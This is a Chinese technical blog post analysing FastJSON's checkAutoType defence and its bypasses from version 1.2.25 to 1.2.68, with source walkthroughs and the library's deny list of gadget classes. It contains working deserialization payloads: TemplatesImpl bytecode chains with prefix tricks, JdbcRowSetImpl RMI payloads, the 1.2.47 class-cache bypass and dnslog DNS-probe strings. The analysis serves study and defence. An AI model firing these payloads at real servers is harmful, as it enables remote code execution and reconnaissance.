• FastJSON checkAutoType 绕过


    FastJSON checkAutoType 绕过

    本文章全程参考:Fastjson 反序列化历史漏洞分析 并做了一点补充。


    在maven仓库中,FastJSON vulnerability 只被标注到 \(1.2.24\) 版本,也即是不对类型进行检查的最后一个版本。但本身还是能够找到很多可以被利用的点。

    image-20220329233925064

    checkAutoType

    1.2.25

    FastJSON \(1.2.25-1.2.41\) 版本在反序列化时,添加了 checkAutoType 方法。

    com.alibaba.fastjson.parser.ParserConfig 中有这么一个方法:

    image-20220328191240374

    image-20220328191225097

    逻辑

    开始会有个替换 $. 的操作,是为了正确加载类内作用域定义的类(局部类),比如类 A 中定义了 B,最终B会被编译为 A$B,而在程序内的类名为 A.B

    存在 acceptListdenyList

    • 如果类名与 acceptList 其中一项的开始相符合,这加载该类;
    • 如果类名与 denyList 其中一项的开始相符合,这抛出异常 JSONException("autoType is not support. " + typeName)

    对于 autoTypeSupport 值为 true 时,会先与 acceptList 进行匹配;

    对于 autoTypeSupport 值为 false时,会先与 denytList 进行匹配;

    而且最后如果加载的 ClassClassloaderDataSource 的类型或子类(实现类)的类型,也会抛出 JSONException

    调用栈
    checkAutoType:805, ParserConfig (com.alibaba.fastjson.parser)
    parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:137, JSON (com.alibaba.fastjson)
    parse:128, JSON (com.alibaba.fastjson)
    

    checkAutoType 方法会在 DefaultJSONParserpublic final Object parseObject(final Map object, Object fieldName) 中被调用:

    image-20220329004518711

    :这个 JSON.DEFAULT_TYPE_KEY 就是字符串 @type

    也就是说如果json 键为 @type 且没有加入参数或 Feature.DisableSpecialKeyDetect 那么就会进入 checkAutoType 检查该类名是否在 acceptListdenyList 中。

    注意:该方法在无Class参数parse 方法中被调用,所以对于指定了 Classparse 不会调用此方法。

    acceptList 与 denyList 的初始化

    这两个列表被定义在 ParserConfig 中,通过静态代码快在载入时初始化:

    image-20220328172833199

    autoTypeSupport

    getStringProperty 获取,最终从 System.getPropertyDEFAULT_PROPERTIES.getProperty

    获取(如果 System.getProperty 获取值为 null 的话)。

    image-20220328173046918

    denyList

    String[] denyList 被定义与 com.alibaba.fastjson.parser.ParserConfig 中,包含一个初始值:

    private String[] denyList  = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
    

    即:

    bsh,com.mchange
    com.sun.
    java.lang.Thread
    java.net.Socket
    java.rmi
    javax.xml
    org.apache.bcel,org.apache.commons.beanutils
    org.apache.commons.collections.Transformer
    org.apache.commons.collections.functors
    org.apache.commons.collections4.comparators
    org.apache.commons.fileupload
    org.apache.myfaces.context.servlet
    org.apache.tomcat,org.apache.wicket.util
    org.codehaus.groovy.runtime
    org.hibernate,org.jboss
    org.mozilla.javascript
    org.python.core,org.springframework
    

    部分是具体的类,部分是包

    注意:可以看到 denyList 中包含 com.sun,故 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplcom.sun.rowset.JdbcRowSetImpl利用链在该版本以及之后就不可用了。

    ParserConfig 的构造方法最后会调用 addItemsToDeny(DENYS),即将 DENYS 中的元素添加进 denyList 中;

    String[] DENYS 是在静态代码块中赋值的,通过 getStringProperty(DENY_PROPERTY) 来获取属性值;如果无法从 System.getProperty 获取,这从自定义的 DEFAULT_PROPERTIES 中获取;

    获取属性值 property 之后 ,便通过 splitItemsFormProperty(property) 确定 DENYS 元素列表。

    image-20220328174116544

    将该属性值以 分割,就为 DENYS (可能为null)。最终元素都会被添加到 denyList 中。

    其实从这里就可以看出,列表就是单纯依靠 分割的,多一个空格都不行。

    当然 ParseConfig 提供了addDeny(String) 方法,以便将类名添加进 denyList

    :全局 ParserConfig 对象可以通过 ParserConfig.getGlobalInstance 方法获取。

    acceptList

    初始化方式与 denyList 类似;不同的是,该列表初始为空列表,之后通过 String [] AUTO_TYPE_ACCEPT_LIST 确定元素。

    AUTO_TYPE_ACCEPT_LIST 也是通过获取 property:fastjson.parser.autoTypeAccept 的值并以 , 分割得到的;如果返回值为 null,这最终为空列表。

    :未设置相应属性值的正常情况下的 PaserConfig 实例:

    image-20220328174510683

    :在 FastJSON \(1.2.25\) 中,自定义 item.Value, 如果不设置系统属性值,则会抛出 com.alibaba.fastjson.JSONException: autoType is not support. item.Value;设置 fastjson.parser.autoTypeAccept 属性之后,可解决该问题

    package item;
    
    public class Value {
    	public Value(){}
        public int getV() {return 1;}
        public void setV(int v) {}
    }
    
    
    @Test
    public void property() {
        System.setProperty("fastjson.parser.autoTypeAccept", "niss,whatever,item")
        Object i = new Value();
        String payload = JSON.toJSONString(i, SerializerFeature.WriteClassName);
        System.out.println(payload);
        Object o = JSON.parseObject(payload);
        System.out.println(o);
    }
    
    {"@type":"item.Value","v":1}
    {"v":1}
    

    image-20220329005825534

    :在 FastJSON \(1.2.25\) 中,使用 TemplatesImpl 利用链是会抛出 JSONException: autoType not support 的,但是设置如下系统属性就可成功执行反序列化PoC:

    System.setProperty("fastjson.parser.autoTypeSupport", "true");
    System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");
    

    Peek 2022-03-27 03-32

    注意:由于这几个属性都是静态代码块生成的,所以需要在FastJSON相关类被载入之前就设置属性

    当然 ParseConfig 提供了addAccept(String) 方法,以便将类名添加进 acceptList

    关于 autoTypeSupport 值的设置,ParserConfig 提供了 setAutoTypeSupport(bool) 方法

    绕过方式

    查看 checkAutoType 方法,匹配到 acceptList 的类名最终作为 TypeUtils.loadClass 的参数。

    TypeUtils.loadClass 方法

    image-20220329011040996

    也就是以 [ 开头 或者 以L 开头且以 ; 结尾 的类名会被去掉字符后,在通过类名载入对应类。

    为了绕开 DENY 匹配,可以将待反序列化json中 @type 的值添加相应字符,即可

    注意:由于 [ 会被检测为json数组开始,所以一般用 L + ;

    但是 checkAutoType 方法的最后:当 autoTypeSuppoerfalse 时,会始终抛出 JSONException,所以要以该方式绕过,则需要将其设置为 true

    image-20220329013924967

    注意:发现 loadClass 按照递归处理,所以要修改 json 中的每个键值对的 @type 值。

    System.setProperty("fastjson.parser.autoTypeSupport", "true");
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
    String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
    String data = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
        "\"_bytecodes\":["+encoded+"]," +
        "\"_name\":\"a.b\"," +
        "\"_tfactory\":{}," +
        "\"_outputProperties\":{}\n}";
    JSON.parseObject(data,Feature.SupportNonPublicField);
    

    Peek 2022-03-27 03-32

    该方法对 \(1.2.25\leq version \leq 1.2.41\) 有效。

    1.2.42 哈希列表

    FastJSON \(1.2.42\)

    该版本以及之后版本中, acceptListdenyList 变成了 private long[] denyHashCodesprivate long[] acceptHashCodes ,而且 denyHashCodes 为:

    image-20220329023233937

    之后所有的类名会经过 TypeUtils.fnv1a_64 方法处理变为long之后,存入对应列表中

    其他并没有大变化,这包括这些静态变量的初始化过程:

    image-20220329023350302

    而且该系列版本在匹配 acceptHashCodesdenyHashCodes 之前就去除了 [、或 (L;)。

    :由于这些静态列表初始化时还是依赖于 System.Property 所以,通过设置系统属性值依旧有效

    System.setProperty("fastjson.parser.autoTypeSupport", "true");
    // 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");
    // 或 ParserConfig.getGlobalInstance().addAccept("com.sun"); 
    byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
    String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
    String data = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
        "\"_bytecodes\":["+encoded+"]," +
        "\"_name\":\"a.b\"," +
        "\"_tfactory\":{}," +
        "\"_outputProperties\":{}\n}";
    JSON.parseObject(data,Feature.SupportNonPublicField);
    

    Peek 2022-03-27 03-32

    主要是中间做了一些改变:

    image-20220329024421907

    发现之前初始化时对列表排序,是为了在这使用二分查找 。

    会发现在与列表匹配之前,有一段去字符的代码,通过猜测发现其作用正是去掉开头的 L 结尾的 ;

    ((((0xcbf29ce484222325L ^ 'L') * 0x100000001b3L) ^ ';') * 0x100000001b3L) == 0x9198507b5af98f0L
    
    true
    
    黑白名单破解

    github项目:https://github.com/LeadroyaL/fastjson-blacklist

    通过对包名、类名做同样的算法处理,与其进行匹配,还原了部分 hashCode 对应的 String

    绕过方式

    由于在之前就被去掉一次字符(如果字符匹配的话),而且调用 TypeUtils.loadClass 方法时会再次去掉一次,所以双写相应字符即可:

    • 双写 ClassName ==> LLClassName;;

    System.setProperty("fastjson.parser.autoTypeSupport", "true");
    // 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
    String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
    String data = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
        "\"_bytecodes\":["+encoded+"]," +
        "\"_name\":\"a.b\"," +
        "\"_tfactory\":{}," +
        "\"_outputProperties\":{}\n}";
    JSON.parseObject(data,Feature.SupportNonPublicField);
    

    由于之前版本最多去除一次字符,该方式只对 \(1.2.42\) 版本有效。

    Peek 2022-03-27 03-32

    1.2.43 对LL的检测

    LL 字符抛异常

    FastJSON \(1.2.43\)

    在该版本中,在 checkAutoType 增加了开头的 LL 匹配:

    image-20220329202520633

    (((0xcbf29ce484222325L^'L')* 0x100000001b3L)^'L')*0x100000001b3L == 0x9195c07b5af5345L
        
    true
    

    如果 className 前两个字符为 LL,这抛出异常

    绕过方式
    mybatis

    org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\(1.2.46\) 版本才被加入到黑名单,所以如果服务端依赖于 Mybatis,可以利用该调用链。

    数组

    由于 [ 开头的 ClassName 表示数组类型,且观察下面的json:

    {
        "@type":"[com.sun.rowset.JdbcRowSetImpl",
    }
    

    抛出的异常说明:对于 JdbcRowSetImpl 类型的数组, FastJSON 预期 [ 但是获得了 ,

    image-20220329210959045

    也就是说明对于这种 Object数组的json的形式可能为:

    {
        "@type":"[ClassName"[
            {
                
            },
            {
                
            },
            ...
        ]
    }
    

    :验证猜想

    @Test
    public void test(){
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String data = "{\n" +
        "\t\"@type\":\"[item.Value\"[\n" +
        "        {\n" +
        "           \"v\":1, \n" +
        "        },\n" +
        "        {\n" +
        "           \"v\":2,\n" +
        "        }\n" +
        "    ]\n" +
        "}";
        System.out.println(JSON.parse(data));
    }
    

    image-20220329212100526

    发现调用了两次 constructset 方法,说明确实进行了两次实例化;但是发现异常说明中有:多出了一个 },所以正确形式为

    {
        "@type":"LClassName"[
            {
                
            },
            {
                
            },
            ...
        ]
    

    image-20220329212243131

    这也证明了之前版本的绕过中,也可以用开头添加 [ 的方式进行绕过,而不会被认为是错误的“开始符”。

    所以可以构造 payload

    {
        "@type":"[com.sun.rowset.JdbcRowSetImpl"[
            {
                "dataSourceName":"rmi://127.0.0.1:1099/exec",
                "autoCommit":true
            },
    ]
    

    该 payload 对 \(\leq 1.2.43\) 都有效。

    Peek 2022-03-27 03-32

    1.2.44 匹配 [ClassNameLClassName;

    在 FastJSON \(1.2.44\) 版本中的 checkAutoType 方法中新增:

    image-20220329220243715

    (0xcbf29ce484222325L^'[')*0x100000001b3L == 0xaf64164c86024f1aL
    true
        
    (((0xcbf29ce484222325L^'L')*0x100000001b3L)^';')*0x100000001b3L == 0x9198507b5af98f0L
    true
    

    可见 [ 开头或者 L开头、; 结尾的绕过方式已经无效了

    绕过方式

    mybatis利用链,该版本还没被禁用。

    1.2.47 mapping 写入

    payload

    [
        {
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        {
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://127.0.0.1:1099/exec",
            "autoCommit":true
        }
    ]
    

    该方式对 FastJSON \(\leq 1.2.47\) 版本都生效,且不需要开启 autoTypeSupport

    过程分析

    由于 java.lang.Class 不在黑、白名单中,在 checkAutoType 方法中会进入 TypeUtils.getClassFromMapping(typeName)

    image-20220329222946893

    而该方法会尝试从一个 TypeUtils 中的 ConcurrentMap<String,Class<?>> mappings 取对应的类,但实际上是没有的,进入 deserializers.findClass(typeName)

    image-20220329223956074

    IdentityHashMapdeserialisers 的类型)#findClass 方法被调用:

    image-20220329230248336

    buckets中存放了一些 java.langjava.utiljava.net 等常用类,其中包括 java.lang.Class,最终会被返回。

    回到 checkAutoType 中,只要 expectClass 为null或是HashMap类型,或为expectClass的子类,都会直接返回:

    image-20220329230442001

    DefaultJSONParser

    返回至 DefaultJSONParser#parseObject(final Map object, Object fieldName) 方法,运行到:

    image-20220329231010433

    会通过返回的 Class 对象获取一个 ObjectDeserializer ,并调用 deserialze 方法反序列化。

    deserialze

    该方法好像是用于监测一些特殊类,并监测对应的特殊字段:

    image-20220330002708343

    该方法会不断地接受json字符,并解析将值赋给 objVal(如果json键不是 val 会抛出异常):

    image-20220329231826273

    之后如果 objVal 是String类型,则会将其赋给 strVal

    image-20220329232124565

    有一步会判断如果传入的 clazzClass 类型,那么就回去加载 strVal 表示的类,并返回:

    image-20220329231607743

    注意:这里会对很多类型进行检测,并生成相应的对象:

    UUID=> UUID.fromString(strVal)

    URI=> URI.create(strVal)

    URL=> new URL(strVal)

    Pattern=>Pattern.compile(strVal)

    InetAddress/Inet4Address/Inet6Address=>InetAddress.getByName(strVal)

    File=>new File(strVal)

    ...

    这个 strVal 就是json中的 val 的值。

    其中可以看到有网络相关的,可以利用如下payload 进行DNS探测:

    {
     "@type":"java.net.InetAddress",
     "val":"yeeabi.dnslog.cn"
    }
    

    Peek 2022-03-28 01-49

    来源

    {"@type":"java.net.InetAddress","val":"dnslog"}
    
    {"@type":"java.net.Inet4Address","val":"dnslog"}
    
    {"@type":"java.net.Inet6Address","val":"dnslog"}
    
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
    
    {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
    
    {"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
    
    Set[{"@type":"java.net.URL","val":"http://dnslog"}]
    
    Set[{"@type":"java.net.URL","val":"http://dnslog"}
    
    {{"@type":"java.net.URL","val":"http://dnslog"}:0
    
    
    https://github.com/alibaba/fastjson/issues/3841
    最新版 1.2.76 开启safeMode
    {"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
    

    可以看到 json中 val 表示的类会被成功加载:

    image-20220329232300476

    TypeUtils#loadClass

    TypeUtils#loadClass 中,如果 cache 为真,这会将加载的类添加进 mapping 中:

    image-20220329232722588

    此时payload中的第二个项的类已经在 mapping 中了!

    真正的恶意类的反序列化

    接下来到了对 JdbcRowSetImplcheckAutoType 中了:

    image-20220329233127171

    由于从此时可以从 TypeUtils.getClassFromMapping 成功找到该类,即使在 denyHashCodes 中匹配,下面的条件也不会成立:

    image-20220329234504032

    再调用一次TypeUtils.getClassFromMapping,返回该类之后,就是对该类的实例化以及属性写入了。

    Peek 2022-03-27 03-35

    1.2.68 safeMode

    FastJSON \(1.2.68\)

    一些变动

    加入 INTERNAL_WHITELIST_HASHCODES 作为额外的白名单:

    image-20220330000652709

    方法开始会使用 ParserConfig 内部定义的接口 AutoTypeCheckHandler 去处理(为null跳过);

    checkAutoType检验 Feature.SafeMode ,如果提供了则直接抛异常 JSONEXception(safeMode not support autoType : typeName)

    image-20220330000846223

    DefaultJSONParser 中也做了修改,无法使用Class的val将类写入mapping了。


    参考

  • 相关阅读:
    PHP中的list(),each(),reset()函数应用
    echo(),print(),print_r()
    Math.floor() 与 parseInt()
    利用Node.js轻松创建web服务器
    MySQL中Datetime与Timestamp
    修正正则匹配日期---基于网络未知大神的正则
    数据结构随笔-php实现栈
    数据结构随笔-php实现队列
    Js 获取时间戳
    linux 安装nginx+php+mysql
  • 原文地址:https://www.cnblogs.com/nishoushun/p/16074640.html
Copyright © 2020-2023  润新知